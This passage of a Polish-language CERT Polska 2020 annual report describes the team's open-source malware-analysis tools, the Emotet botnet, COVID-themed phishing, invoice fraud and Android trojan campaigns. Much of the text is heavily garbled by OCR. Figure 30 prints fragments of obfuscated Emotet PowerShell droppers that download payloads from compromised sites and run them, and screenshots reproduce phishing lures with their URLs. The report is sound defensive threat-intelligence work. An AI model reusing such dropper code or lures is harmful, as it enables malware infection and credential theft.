CyberSecldent, nr umowy (CYBERSECIDENT/369234/I/NCBR/2017).

69



nask CERT.PLO-

Trudno wyobrazi¢ sobie wspotczesny swiat
bez projektow open source. Ruch wolnego
oprogramowania zapoczgtkowany w latach 80.
XX wieku przez Richarda Stallmana — zatozy-
ciela projektu GNU oraz Free Software Founda-
tion — okazat sie niezwykle wptywowy. tatwy
dostep, mozliwos¢ modyfikacji oraz dzielenia
sie wprowadzonymi zmianami z innymi sprawi-
ty, ze spotecznosc¢ programistow bez wahania
przyjeta ten model rozwoju oprogramowania.
Ideologia ta jest na tyle silna, ze giganci tacy
jak Microsoft, ktérego liderzy otwarcie uznawali
wolne oprogramowanie za szkodliwe, dzisiaj
rowniez udostepniajg swoje produkty na wol-
nych licencjach

Wierzgc w potencjat oprogramowania open
source, podobnie jak w poprzednich latach,
w 2020 r. upublicznilismy wiele wewnetrznych
projektow, ktdre realizowalismy specjalnie
na potrzeby naszego zespotu. Mamy nadzieje,
ze przydadzg sie one spotecznosci analitykow
ztosliwego oprogramowania, utatwig im prace
i przyczynig sie do podniesienia poziomu bez-
pieczenstwa uzytkownikow internetu, zaréwno
w Polsce, jak i na catym Swiecie.

Qé | t/

MWDB

Rosngca z roku na rok skala oraz ztozonosc¢
dziatan przestepcow moze stanowic¢ wyzwanie
dla wielu organizacji monitorujgcych aktualne
zagrozenia. MWDB (Malware Database) zo-
stato zbudowane jako odpowiedz na problemy
zwigzane z zarzgdzaniem probkami ztosliwego
oprogramowania oraz informacjami zebranymi
na ich temat.

Oprocz samego przechowywania i przeszuki-
wania zbioru probek, do najbardziej podstawo-
wych funkcji MWDB nalezy tworzenie powigzan
miedzy nimi, grupowanie ich w rodziny oraz
dzielenie sie informacjami z innymi uzytkowni-
kami.

Probki nie sg jedynym rodzajem obiektu,
przechowywanym przez MWDB. Oprécz nich
zdefiniowane zostaty réwniez:

- konfiguracje — ustrukturalnione dane, okre-
Slajgce najwazniejsze cechy probki tj. adresy
serwerow C&C, klucze szyfrujgce, wersje itp.,
przechowywane w postaci plikow JSON;

+ bloby — pozostate dane, nie posiadajgce zad-
nej struktury, przedstawione w czytelnej dla
cztowieka postaci, tj. ciggi znakow, injecty,
szablony e-maili itp.
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Bardziej zaawansowani uzytkownicy docenig
dostarczane przez MWDB REST API oraz de-
dykowang biblioteke mwdblib, stuzgce do au-
tomatyzacji zadan oraz budowanie integracji
Z innymi serwisami.

MWDB wspiera rowniez rozszerzenia oparte
o pluginy, ktére moga by¢ przydatne do dosto-
sowania aplikacji do wymagan specyficznych
dla danej organizacji.

W 2019 r. udostepnilismy MWDB jako ustuge
dajgcg dostep do informacji uzyskanych przez
systemy analityczne CERT Polska. Rok pozniej,
w czerwcu 2020 r. otworzylismy kod zrodtowy
aplikacji, dajgc mozliwosc¢ uruchomienia pry-
watnych instancji MWDB.

Wiecej o rozwoju MWDB w 2020 r. przeczytasz
na str. 53

Karton

Karton to framework stuzgcy do budowy
dynamicznych potokow przetwarzania zadan,
opartych o mikroserwisy. Karton dostarcza
jednolitg platforme umozliwiajgcg oczekiwa-
nie na zadania konkretnego typu (zawierajgce
odpowiedni nagtowek) oraz wysytanie do sys-
temu nowych, ktore bedg mozliwe do przetwo-
rzenia przez inne ustugi.

Podstawowym obiektem przekazywanym
w systemie jest zadanie (ang. task). Zadanie
zawiera nagtowki — metadane umozliwia-
jace przekazanie go odpowiedniej ustudze
oraz payload — zbidér danych potrzebnych
do przetworzenia zadania. Ustugi dziatajgce
w systemie karton dzielg sie na dwa rodzaje:
konsumenci (ang. consumer) oraz producenci
(ang. producer). Komunikacja odbywa sie
za posrednictwem brokera (karton-system),
ktory przekazuje zadania do wykonania na od-
powiednie kolejki.

Jednym z zatozen frameworku byta minima-
lizacja zaleznosci. Do poprawnego dziatania
Karton wymaga dwaoch ustug: MinlO (lub od-
powiednik wspierajgcy API S3) — wykorzysty-
wane do przechowywania wiekszych obiektow
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(takich jak pliki binarne) i Redis — przechowu-
jgcy aktualny stan systemu i dostarczajgcy
kolejki przetwarzania.

Oprocz samej biblioteki udostepnilismy rowniez
szereg ustug, ktore mogg zostac uruchomione
w ekosystemie Karton:

« dashboard — prosta aplikacja webowa
do wizualizacji aktualnego stanu syste-
mu — dziatajgcych serwisow, kolejek zadan
oraz btedow;

+ classifier — rozpoznaje rodzaj otrzymanego
pliku i przekazuje je wyspecjalizowanym
systemom;

« archive-extractor — wypakowuje archiwa ZIP,
RAR, 7z itp;

+ asciimagic — dekoduje dane zakodowane
w postaci ASCII np. base64;

- mwdb-reporter — przekazuje wyniki analizy
do instancji MWDB;

+ autoit-ripper — wycigga skrypty Autolt z pli-
kow EXE;

- config-extractor — wycigga konfiguracje
z plikdw wykonywalnych lub zrzutéw pamieci
zebranych podczas analizy w sandboxie;

- yaramatcher — skanuje pliki sygnaturami
YARA.

Mimo ze Karton zostat zaprojektowany z myslg
o analizie ztosliwego oprogramowania, nadaje
sie do innych zastosowan wymagajgcych ela-
stycznego systemu kolejkowego.

DRAKVUF Sandbox

DRAKVUF Sandbox, dawniej znany pod nazwa
DRAKMON, zostat upubliczniony na poczatku
2020 r. Projekt ma na celu zbudowanie sys-
temu do analizy ztosliwego oprogramowania,
ktory oparty jest na monitorze DRAKVUF.
0Od samego poczgtku DRAKVUF Sandbox
projektowany byt z myslg o integracji z resztg
systemow istniejgcych w CERT Polska, stad
witgczenie go do systemu opartego na frame-



worku Karton wymaga zmiany jedynie kilku
wpisow w konfiguracji. Oprocz samego silnika
analitycznego, DRAKVUF Sandbox dostarcza
interfejs uzytkownika w postaci aplikacji webo-
wej, umozliwiajgcej przeglgdanie wynikow ana-
lizy, oraz zestaw modutow — post-procesow,
ktore przetwarzajg wykonane analizy z “suro-
wej” postaci ha wysokopoziomowa. Instalacja
oparta jest na paczkach DEB budowanych dla
systemow Ubuntu 18.04, 20.04 oraz Debian
Buster.

W ramach rozwoju sandboxa nasz zespot
wspierat rozwoj innych projektow, ktore wyko-
rzystujg to rozwigzanie.

DRAKVUF

DRAKVUEF jest programem monitorujgcym ma-
szyny wirtualne dziatajgce pod hypervisorem
Xen. W przeciwienstwie do popularnych roz-
wigzan opartych na agentach instalowanych
wewnatrz maszyny, DRAKVUF wykorzystuje
technike VMI (Virtual Machine Introspection).
Dzieki temu system dziatajgcy w maszynie
wirtualnej nie musi by¢ specjalnie zmodyfiko-
wany, aby umozliwi¢ monitorowanie, a wykrycie
dziatania programu sledzgcego jest znacznie
utrudnione. DRAKVUF jest w stanie przechwy-
tywac¢ wywotania systemowe, wywotania
WInAPI, zapisywac rejony pamieci itp.

Putapki, ktore zaktada DRAKVUF, oparte sg
na mechanizmie altp2m — w zaleznosci od
aktualnie wykonywanych instrukcji procesor
‘widzi” pamiec¢ fizyczng na rézne sposoby
(widok oryginalny/zmodyfikowany). Imple-
mentacja altp2m wykorzystuje EPT (Extended
Page Tables), ktore jest czescig rozszerzenia
VT-x na platformach Intel. Dzieki temu maszyna
wirtualna dziata wydajnie, a wykrycie putapek
staje sie znacznie utrudnione.

Oprocz wielu poprawek btedow w 2020 .
DRAKVUF zyskat dzieki naszemu zespotowi
kolejny plugin — tlsmon, ktéry monitoruje
programy wykorzystujgce TLS i zapisuje wyge-
nerowane klucze. Umozliwia to odszyfrowanie
komunikacji i analize ruchu przez programy
takie jak Wireshark.

nask CERT.PLO-

Xen

Xen to hypervisor typu 1 uruchamiany bezpo-
srednio na sprzecie, w przeciwienstwie do po-
pularnych VirtualBox czy VMWare Workstation,
ktore wymagajg systemu operacyjnego. Jako
pierwszy zaimplementowat odpowiednie inter-
fejsy VMI, z ktorych dzisiaj korzysta DRAKVUF.
Mimo ze Xen budowany jest od wielu lat,
dotychczas brakowato w nim wsparcia dla
technologii IPT — Intel Processor Trace.

Intel Processor Trace jest rozszerzeniem
architektury x86-64 dostepnym na nowych
procesorach marki Intel. Pozwala ono na zapi-
sywanie Sladu dziatania procesora, ktory daje
m.in. mozliwosc¢ zrekonstruowania przeptywu
sterowania programu. Oryginalnie zaprojekto-
wana jako narzedzie stuzgce do debugowania
i profilowania, moze réwniez zosta¢ wykorzy-
stana do analizy ztosliwego oprogramowania.

W sandboxie uzycie Intel PT moze stac sie
dodatkowym zrodtem informacji na temat spo-
sobu dziatania probki. Oprocz obserwowania
w jaki sposob program wchodzi w interakcje
z systemem operacyjnym, mozna rowniez
dowiedziec sie jaki kod zawarty w probce
zostat wykonany. Taka wiedza moze znaczgco
uproscic¢ prace osob analizujgcych ztosliwe
oprogramowanie, dajgc im informacje na ktore
miejsca w programie powinny zwrocic szcze-
golng uwage. Jest to wyjgtkowo przydatne
w przypadku programow zlinkowanych statycz-
nie, zawierajgcych duzg ilos¢ kodu. Co wiecej,
wiedza o tym jaki kod zostat wykonany, moze
ujawnic¢ rowniez inne cechy probki takie jak np.
proby wykrycia maszyny wirtualnej.

Po kilku iteracjach, we wspotpracy z dewe-
loperami pracujgcymi nad Xenem, udato sie
stworzy¢, a nastepnie wtgczy¢ do gtéwnego
repozytorium zmiany dajgce uzytkownikom
dostep do IPT.

Wsparcie dla Intel PT bedzie oficjalnie dostepne
w wersji Xen 4.15, ktorej wydanie jest planowa-
ne na pierwszg potowe 2021 r.
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Hfinger

W 2020 r. opublikowalismy narzedzie do iden-
tyfikowania zadan protokotu HTTP ztosliwego
oprogramowania, ktore nazwalismy Hfingers2,
Hfinger analizuje zgdania HTTP w celu stwo-
rzenia ich krotkiej reprezentacji, “odcisku palca”
(ang. fingerprint), podobnie jak ma to miegjsce
w przypadku obliczania funkcji skrotu z plikow,
np. SHA-256. Taka reprezentacja moze zostac
uzyta do identyfikacji réznych rodzin ztosliwego
oprogramowania, np. w systemach monitoro-
wania ruchu sieciowego lub systemach analizy
behawioralnej aplikacji (sandbox).

Hfinger analizuje zgdania HTTP pod kgtem
cech adresu URL, struktury i wartosci nagtow-
kow, wartosci pol metody i wersji protokotu
oraz wtasnosci tresci zgdania (payload). Przy-
ktadami cech sa: dtugos¢ URL, metoda zgdania,
kolejnosc uzytych nagtowkow czy diugosc pola
danych. Cechy te sg zamieniane na krotszg
forme, ktora umozliwia kompaktowg reprezen-
tacje najistotniejszych cech. Niemniej, forma
ta nadal pozwala na proste odtworzenie ory-
ginalnej wartosci, co jest niemozliwe np. przy
kryptograficznych funkcjach skrétu. Hfinger ma
kilka trybdw dziatania, roznych pod wzgledem
cech uzytych do stworzenia fingerprinta. Tryby
te pozwalajg na osiggniecie roznych celdw, np.
minimalizacji prawdopodobienstwa oznacze-
nia tym samym fingerprintem réznych rodzin
malware'u lub zmniejszenia liczby tworzonych
fingerprintow. Szczegdtowy opis dziatania
narzedzia znajduje sie w dokumentacji.

Przy projektowaniu Hfingera skupilismy sie
na uzyskaniu jak najwiekszej unikalnosci
fingerprintow pomiedzy réznymi rodzinami
ztosliwego oprogramowania. Oznacza to,
ze zminimalizowaliSmy szanse, by dwa zgdania
HTTP wystane przez rozne rodziny miaty takg
samg reprezentacje. Dodatkowo zmniejszyli-
smy prawdopodobienstwo, ze fingerprint stwo-
rzony dla ztosliwego oprogramowania bedzie
taki sam jak dla zwyktego oprogramowania,
np. przegladarki internetowej lub programu
pocztowego. Wazng cechg narzedzia jest to,
ze informacje z fingerprinta moga by¢ odczyta-
ne bezposrednio przez cztowieka, umozliwiajgc
szybkie zaznajomienie sie z najwazniejszymi
cechami zadania, a takze na odkrycie zalezno-

32 https://github.com/CERT-Polska/hfinger
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Sci miedzy poszczegdlnymi fingerprintami, np.
wykryciu zmian wartosci nagtéwka User-Agent
przy jednoczesnej statej strukturze zgdania.

Oprocz rozroznienia zagdan pochodzgcych od
roznych rodzin ztosliwego oprogramowania,
Hfinger moze postuzy¢ takze do grupowania
zgdan wewnatrz pojedynczej rodziny, np. w celu
ustalenia charakteru wykonywanej operacji. Po-
maga to w odrdznieniu, np. sprawdzenia adresu
IP bota od jego rejestracji w botnecie. Mimo
ze Hfinger nie podaje nazw konkretnych rodzin
ztosliwego oprogramowania, to jesli dostar-
czymy baze odciskdéw powigzanych z takimi
nazwami, narzedzie moze takg identyfikacje
umozliwic.

Prace nad Hfingerem byty wspdtfinansowane
przez instrument Unii Europejskiej ,tgczac
Europe”.

Wszystkie udostepnione projekty mozna
znalez¢ na naszym profilu w serwisie
GitHub — https:/github.com/CERT-Polska.



https://github.com/CERT-Polska
https://github.com/CERT-Polska/hfinger
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Podobnie jak rok wczesniej, w 2020 r. Emotet
nadal pozostaje jedng z najbardziej popular-
nych i nieposkromionych rodzin ztosliwego
oprogramowania. Po raz pierwszy zostat za-
obserwowany w 2014 r. jako modularny trojan
bankowy33 wymierzony w klientow niemieckich
i austriackich bankow. W kolejnych wersjach
funkcje zwigzane zaréwno z wykradaniem
haset, jak i pieniedzy z kont zainfekowanych
ofiar, byty stopniowo rozbudowywane34. Jednak
w 2017 r., w wersji czwartej oprogramowania,
autorzy Emoteta postanowili porzuci¢ modut
bankowy i skupiC sie na dalszym rozbudowy-
waniu botnetu za posrednictwem m.in. modutu
spamowego, a takze wykradaniu maili i danych
dostepowych do kont pocztowych z zaatako-
wanych komputerow.

Pod koniec stycznia 2020 r., japonski zespot
CERT — JPCERT upublicznit narzedzie “Emo-
Check"35 pozwalajgce na sprawdzenie czy dany
system zostat zainfekowany przez Emoteta.

33

W odpowiedzi na jego publikacje, a takze
innego narzedzia pozwalajgcego na interakcje
z serwerami C&C36, autorzy trojana postanowili
dokonac szeregu zmian w oprogramowaniu.

Rozwiniety zostat przede wszystkim algorytm
generowania sciezek plikow i nazw procesow.
Doszto réwniez do zmian w protokole komuni-
kacji z serwerem. Zauwazone przez nas zmiany
oraz wprowadzone sposoby zaciemnienia kodu
opisalismy w artykule “Co tam u ciebie, Emo-
teciku”37 dostepnym na naszym blogu. Oprocz
zmian w plikach binarnych, autorzy oprogramo-
wania zadbali rowniez o regularne aktualizacje
dokumentow ze ztosliwymi makrami stuzgcymi
do pobierania i instalacji Emoteta na systemie
ofiary. Mimo ze petnity caty czas bardzo podob-
ng funkcje, to poziom ich obfuskacji przez rok
zwiekszat sie stopniowo, co mozna zaobserwo-
wac narys. 30.

https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-

34 -theft/

https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/

35 https://qgithub.com/JPCERTCC/EmoCheck

36 hitps://twitter.com/DOORT_RM/status/1186311826117713922

75 37 https://www.cert.pl/posts/2020/02/co-tam-u-ciebie-emoteciku/
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https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/
https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/
https://github.com/JPCERTCC/EmoCheck
https://twitter.com/D00RT_RM/status/1186311826117713922
https://www.cert.pl/posts/2020/02/co-tam-u-ciebie-emoteciku/
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$Krmwmenrraah="'Btyzbkgjd';

$sfpclpevivj = '657';

$J1shhmz fqyy="Jyxaeouu"';

$Popdvfzbglgpo=$env:userprofile+

$Bjvhvoa 3

$Cwwankycpma=.

$Ndc fhdwmg itterflyvfx.synergy-colleg
i SPLiT""'*';

$Fopwucign in $Ndcfhdwmqg) {try{$Cwwankycpma. "dowWnLOAdfiLE" ($Fopwucign, $Popdvfzbglgpo);
$Niuzguyp="'Rptueushl’;
f &'Get-Item' $Popdvfzbqlgp engtH" ) L[ JNoS rocess] STARt" ($Popdvfzbqlg
qscp="Mcdl fkkempvk’;

}$Iwhuuikewjm="Lsohluxkd"

{3}{1}{2}{0}{4}"-F '.1i0.dIREC',"
2}{5}{3}{1}H{0}{4}" "MAnAGe* ,

orActior e ('SilentlyContinue');
$T5ulk2t=$L30G - 1(64) $C301;
$E 3Y='X80G';

( VARIABle 'so9rQ' -valUeon)::"CReAtEdiRecToRy (*{e}1lepezs{e}Btjghqf{e}')-F
$E4D]="'6920
$YxNt6 CuRitypRoTocol" = ('Tlsl2'
$Y48K=(
$Bpt7y5z =
$N12Q=("
$Qixwhf2=4% ( EpLAC [CHar]115+[CHar] 7 CHar] @ $Bpt7ySz+('.d1l');
$C56I=("H13V')
$Hgboybe=("']elr[ Z fwolf 5 UKZ) elr[ yesprevi a 1360.
com/wp-content/u/@lelr[S://linkejet ://nuocmambamuoi . vn/wp-admin/Ty 3 ://ellinismos192. :
3 yl{'sd",'sw'), 'http' - $T5ulk2t $B58A);
('F86F')
($Qb T8¢ in $HgbOybo){t (&'New-Object' systeM.net.WebCLIenT)."dOWNLloAdfILe"({$Qbf843y, $Qixwhf2);
‘R4 Y';
LenGTH" -qge 38) {&'rundll132' $ whf2, ('Control RunDLL' tOsTRING" () ;

Rys. 30. Poréownanie dwach skryptéw PowerShell osadzonych w ztosliwych dokumentach z poczatku
oraz konca roku 2020.
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Tak jak w ubiegtym roku, bacznie przyglgdalismy sie kampaniom Emoteta i dzielilismy sie uzyska-
nymi informacjami z innymi organizacjami oraz badaczami bezpieczenstwa. Z rysunkow 31 oraz 32
mozemy wywnioskowac, ze o ile liczba unikalnych konfiguracji nie jest duzo wieksza niz w przypadku
innych rodzin, to skala catej operacji jest naprawde spora.

Liczba unikalnych konfiguracji uzyskanych w danym miesigcu

500 A — emotet
—— anabot
—— Iemcos
400 - — isfb
—— ftrickbot
300 A
200 1
100 -
0_

Jan Feb  Mar Apr May Jun Jul Aug Sep Oct Nov Dec

Rys. 31. Liczba uzyskanych unikalnych konfiguracji Emoteta na tle innych rodzin ztosliwego oprogramowania. Opra-
cowanie wlasne na podstawie analiz z systemu MWDB w 2020 r.

Liczba sklasyfikowanych probek w danym miesigcu

—— emotet
150004 mrai
—— agenttesla
— isfb
12500 1 —— trickbot
10000
7500 A
5000 A
2500
0 -

Jan Feb  Mar Apr May Jun Jul Aug Sep Oct Nov Dec

Rys. 32. Liczba zaobserwowanych prébek Emoteta na tle innych rodzin ztosliwego oprogramowania. Opracowanie
wilasne na podstawie analiz z systemu MWDB w 2020 r.
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Poczgtek pandemii COVID-19 dla wielu
oznaczat koniecznos¢ kompletnej zmiany
stylu zycia. Dla przestepcow jednak stworzyt
niepowtarzalng okazje na wprowadzenie no-
wych kampanii opierajgcych sie na aktualnym
kryzysie.

Pierwszy atak, ktory zaobserwowalismy 10
marca 2020 r., korzystat ze znanego schematu
z fatszywymi wiadomosciami. Na gtownej

“""A

stronie serwisu informacyjnego znajduje sie
szokujgca informacja np. dotyczgca porwania
dziecka, pobicia lub, jak byto w analizowanym
przypadku, szokujgca wypowiedz doktora
na temat liczby zarazonych oséb w Polsce.
Aby jednak zobaczyc¢ osadzony film nalezy
zalogowac sie przez fatszywy panel logowania
Facebooka, a w niektorych przypadkach dodat-
kowo podac kod BLIK.
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NOWE FAKTY NA TEMAT KORONAWIRUSA
[WIDEO]

NOWE FAKTY NA TEMAT KORONAWIRUSA [WIDEO]
f Bl ‘

Koronawirus nadal rozprzestrzenia sie na swiecie. Liczba zachorowan w Polsce wzrosta do 17 (prawdopodobnie liczba ta jest mocno zaniZona).
Kolejna zakazona osoba to kobieta, kiéra przebywa w szpitalu w Poznaniu. Rzad postanowit wprowadzi¢ kontrole sanitarne na granicach z Czechami i
Niemcami, a od jutra na pozostatych przejsciach granicznych. Tymczasem pierwsze dwa przypadki zakazenia koronawirusem odnotowano na Cyprze
co oznacza, ze Covid-19 pojawit sie juz we wszystkich 27 krajach Unii Europejskiej. Z punktu widzenia zagroZzenia epidemiologicznego, Gléowny
Inspektor Sanitarny nie zaleca podrézowania do Chin, Hongkongu oraz Korei Potudniowej, Wloch, Iranu, Japonii, Tajlandii, Wietnamu, Singapuru i
Tajwanu. Ciezki przebieg choroby obserwuje sie u 0k.15-20% os6b. Do zgonéw dochodzi u 2-3% os6b chorych. Prawdopodobnie dane te zanizono, gdyz
uwielu osob z lekkim przebiegiem zakazenia nie dokonano potwierdzenia laboratoryjnego. Zdaniem ekspertéw liczba chorych w Polsce to okolo 250

przypadkdw, we wszystkich wojewédztwach. Ponizej material dajgcy do myslenia na temat obiegu informaciji i ich rzetelnosci w naszym kraju.

WYPOWIEDZ DOKTORA Z JEDNEGO Z WARSZAWSKICH SZPITALI NA TEMAT
NAMNAZAJACEJ SIE LICZBY ZARAZONYCH W POLSCE.

vy A

Rys. 33. Sensacyjna wiadomos¢ naktaniajgca ofiare do obejrzenia filmu.

Na kolejne pomysty przestepcow nie trzeba + wiadomosci SMS o mozliwosci skorzystania
byto dtugo czekac¢. Juz 5 dni pdzniej informo- ze szczepionki na koronawirusa po dokona-
walismy o trzech nowych kampaniach wykorzy- niu “doptaty do refundac;ji’;

stujgcych temat koronawirusa:
« wiadomosci SMS o blokadzie srodkéw

+ informacje o rzekomym wsparciu zywienio- na rachunku na poczet specjalnych rezerw
wym, do uzyskania ktérego wymagane jest krajowych w NBP (patrz: rys. 35).
logowanie do Profilu Zaufanego (patrz: rys.
34);
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Login 2)  Profil Zaufany

Wsparcie zywieniowe - Koronawirus

Zgodnie z rozporzadzeniem Ministerstwa Zdrowia dla
kazdego obywatela przysluguje wsparcie zywieniowe w

zwigzku z epidemig Koronawirusa.

Na jedng osobe przystuguje:
« 20| wody

s 3,5 kg zboz, produktow zbozowych, chleba, ziemniakdw,

makaronu i ryzu.

* 2,5kg owocow w puszkach lub stoikach i orzechéw
+ 4 kg suchych roslin straczkowych i warzyw w puszkach lub

stoikach
+ 2,6 kg mleka i produktéw mlecznych

s 1,5 kg miesa, ryb i jajek, ewentualnie jajek w proszku (Swieze

jajka maja trwatosc kilka dni, proszek kilka lat)
* 0,4 kg tluszczu i olejow

W celu otrzymania swiadczenia prosimy o potwierdzenie

danych osobowych poprzez profil zaufany.

Zaloguj sie przy pomocy banku

m Bank Polski mMTRANSFER Przelew24

m BANK ING &0

-
[l ene PARiBAS o

CREDITAGRICOLE

Rys. 34. Falszywa informacja prowadzaca do strony wyludzajacej dane logowania do Profilu Zaufanego.
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B X YF.al19%018:51

< Infosms USUN

pigtek, 13 marca 2020

@ Informujemy, iz zgodnie z
specustawa dt. koronawirusa
Panstwa srodki na rachunku
zostaja przekazane do rezerw
krajowych NBP. Zaloguj sie,
aby zatrzymac 1000 PLN.
https://dpdoplata.org/0 17:35

Rys. 35. Fatszywa informacja o przekazaniu srodkéw, z adresem prowadzacym do bramki wytudzajacej dane logo-
wania do bankowosci internetowe;.

Oszustwa oscylujgce wokot pandemii COVID-19 + wytudzanie danych logowania do kont Face-

pojawiaty sie przez caty rok, lecz oprocz nich book,

zaobserwowalismy rowniez strony phishingo-

we dotyczace innych tematdw. + wytudzanie numerdw kart ptatniczych oraz
danych logowania do bankowosci interneto-

Najczesciej pojawiajgcymi sie phishingami wej.

byty:
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Wraz z poczatkiem pandemii koronawirusa,
cyberprzestepcy rozpoczeli intensywng eksplo-
atacje zyskownych modeli zarobkowania. O ile
podszywanie sie pod kontrahentow i wysytka
fatszywych faktur do firm jest nam znana od
co najmniej kilku lat, to przestepcy znaczaco
zwiekszyli iloS¢ prob wytudzenia pieniedzy
w ten sposob oraz poprawili ich skutecznosc.
Otrzymalismy kilka zgtoszen incydentow
na tgcznie kilkadziesiat tysiecy ztotych. Najcze-
Sciej atakowane sg niewielkie, lokalnie dziata-
jace firmy, aczkolwiek z racji niewielkiej proby,
nie jesteSmy w stanie catosciowo ocenic branz
ani wspolnej charakterystyki atakowanych
podmiotow.

Schemat dziatania atakujgcych jest dopasowa-
ny do charakterystyki pracy przedsiebiorstwa,
co wskazuje na dostep do skrzynek mailowych
lub infekcje malware na komputerze z doste-
pem do poczty firmowej. Przestepcy znajg
stownictwo branzowe lub sposoby wymiany
informacji pomiedzy podmiotami — oszustwo
jest poprzedzone wywiadem o metodach pro-
wadzenia interesow. W dogodnym momencie
atakujgcy wtgczaja sie do konwersacji z prosbg
0 zmiane numeru konta w wystanej fakturze
lub zmieniajg numer konta w dokumencie
za pomocg 0golnie dostepnych narzedzi
do modyfikacji plikéw PDF.

Taka modyfikacja najczesciej zostawia slad
w dokumencie w postaci lekko zmienionego
uktadu faktury, braku wyrownania tekstu lub
nieco innej czcionki. Sg to bardzo istotne de-
tale i warto im sie przyjrzec, zwtaszcza jezeli
otrzymujemy poprawiong fakture lub prosbe
0 zmiane numeru konta do wptaty. Jezeli
przedsiebiorstwo wystawia faktury w pakiecie
Microsoft Office, to przestepcy majg utatwione
zadanie i w niezauwazalny sposob sg w stanie
modyfikowac¢ dokumenty rozliczeniowe.

Zalecamy weryfikacje kazdej prosby o zmiane
numeru konta kontrahenta drugim, niezalez-
nym kanatem kontaktowym np. telefonicznie,
z osobami odpowiedzialnymi za decyzje
finansowe. Dodatkowo, istotnym czynnikiem
w kontekscie tego rodzaju oszustw, poprawia-
jacym bezpieczenstwo kont pocztowych, jest
wigczenie dwusktadnikowego uwierzytelniania.
Oczywiscie, podstawg sg unikalne hasta dla
krytycznych uzytkownikow firmowych o odpo-
wiedniej ztozonosci.
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W 2020 r. nadal obserwowalismy wzrostowy
trend w obszarze aktywnosci ztosliwego opro-
gramowania przeznaczonego dla systemow
Android. Wraz z postepujgcym rozwojem
rynku aplikacji oraz ustug w tym kanale, ob-
serwowane jest systematyczne odchodzenie
uzytkownikow od tradycyjnych wersiji aplikacji
webowych. Przestepcy, korzystajgcy najcze-
Sciej z gotowych rozwigzan, probujg atakowac
poprzez infekcje urzadzenia mobilnego.

W polskich kampaniach tego typu zdecydowa-
nie najczesciej dystrybuowany byt trojan Alien
(Cerberus), jednak obserwowalismy réwniez
kampanie widzianych juz rodzin Anubisa oraz
Hydry, a takze roznego rodzaju eksperymenty
niepowigzane z konkretng rodzing (aplika-
cje napisane prawdopodobnie na potrzeby
konkretnej kampanii). W celu naktonienia
uzytkownikéw do instalacji ztosliwej aplikacji,
wykorzystywano wizerunki rozpoznawalnych
polskich marek takich jak Allegro, Wirtualna
Polska, czy PKO.

Formy dystrybuciji oraz przeglad
kampanii

Najczesciej spotykang formg dystrybucji
ztosliwego oprogramowania byto sktonienie
uzytkownika do wejscia na odpowiednio
spreparowang strone internetowg. Poza
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prezentowanym opisem, jak np. koniecznosc¢
aktualizacji, znajdowato sie tam odestanie
do zasobu skad mozna byto pobrac instalator.
Opisywane linki rozsytane byty zazwyczaj
w wiadomosciach e-mail, jednak zauwazylismy
rowniez proby dystrybucji poprzez reklamy
w serwisie Facebook. Niestety odnotowalismy
takze skuteczne przypadki zamieszczenia zto-
sliwych aplikacji w sklepie Google Play. Tego
typu przypadki, w potaczeniu z inng formg
marketingu, mogty skutecznie uspic¢ czujnosc
ofiary.

Ponizej, w kolejnosci chronologicznej, prezentu-
jemy przeglad najciekawszych kampanii i form

dystrybucji, zaobserwowanych przez CERT
Polska w 2020 .

Zmiana regulaminu

W pierwszym i na poczatku drugiego kwartatu
2020 r. czesto spotykanym motywem byta
zmiana regulaminu dostawcy poczty elek-
tronicznej. W kampaniach wykorzystywano
wizerunek dostawcow, m.in. Wirtualnej Polski
oraz Interii. W celu zachecenia uzytkownika
do instalacji ztosliwej aplikacji (kon trojanski
Cerberus) wysytane byty wiadomosci e-mail
informujgce o koniecznosci zaakceptowania
nowej wersji regulaminu, zawierajgce link prze-
kierowujgcy na odpowiednio spreparowang
strone.
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From Wirtualna Polska <regulamin@wpregulamin.com> ¥ © Reply || * ReplyAll |v|| - Forward || More v
Subject Tweje konto zostanie usunigte 29.03.2020, 20:13

To undisclosed-recipients:; ¥r

Drogi Uzytkowniku / Uzytkowniczko,

30 marca w zycie wchodzi nowy regulamin. Kazdy uzytkownik ma obowiazek zaakceptowac nowy regulamin jesli
dalej chce korzystac z naszych ustug. Pomimo wiadomosci z informacjami z zmianie regulaminu, ktére do Ciebie
wystalismy, nowy regulamin nie zostat jeszcze zaakceptowany.

Jesli nie zaakceptujesz nowego regulaminu, bedziemy zmuszeni zawiesic dzialanie Twojego konta, a nastepnie
bezpowrotnie je usunac.

Zaakeceptuj nowy regulamin, aby Twoje konto nie zostalo usuniete

JestesSmy z Toba juz od dawna. Mamy nadzieje, ze pozwolisz nam dalej dostarczac Twoja poczte elektroniczng. Nie
pozwol, zeby wszystkie wiadomosci, zdjecia, dokumenty w zatacznikach i kontakty zostaty bezpowrotnie usuniete.
Zaakceptuj nowy regulamin i ciesz sie najwyzsza jakoscig poczty elektronicznej.

Pozdrawiamy,
Zespot Wirtualnej Polski

®®  http://regulamin-poczty.com/
Rys. 36. Przyktad wiadomosci podszywajacej sie pod operatora ustugi pocztowej, ktéra naktania do odwiedzenia

spreparowanej strony.

Po kliknieciu w link nastepowato sprawdzenie, czy strona zostata odwiedzona przy pomocy klienta
androidowego. W takim przypadku ofiara otrzymywata komunikat informujgcy, ze konieczna jest
aktualizacja oprogramowania Adobe Flash Player.
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ERROR

Zakualizuj Adobe Flash Player aby kontynuowac

Rys. 37. Falszywy komunikat na spreparowanej stronie informujacy o koniecznosci aktualizacji Adobe Flash Player.
W rzeczywistosci byta to proba naktonienia do $ciaggniecia i zainstalowania ztosliwego oprogramowania.

Klikniecie przycisku “Dalej” skutkowato pobra-
niem ztosliwego pliku o rozszerzeniu .apk. Uzyt-
kownik musiat dodatkowo potwierdzic, ze chce
zainstalowac¢ proponowany program (co jest
standardowg procedurg systemu Android dla
oprogramowania pochodzgcego z nieznanego
zrodta). Potwierdzenie inicjowato instalacje
malware na urzgdzeniu mobilnym.

Motyw ten powrdcit jeszcze w czerwcu 2020 .
wraz ze zmiang dystrybuowanej rodziny
na Anubisa (regulamin portalu Facebook),
a nastepnie w sierpniu, gdzie uzyto ztosliwego
oprogramowania Hydra (regulamin Interii).
Jak wida¢ grupa odpowiedzialna za kampanie
z motywem na “regulamin” miata w swoim
portfelu wiele réznych rodzin malware.
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Fatszywe oferty pracy na portalu
Facebook

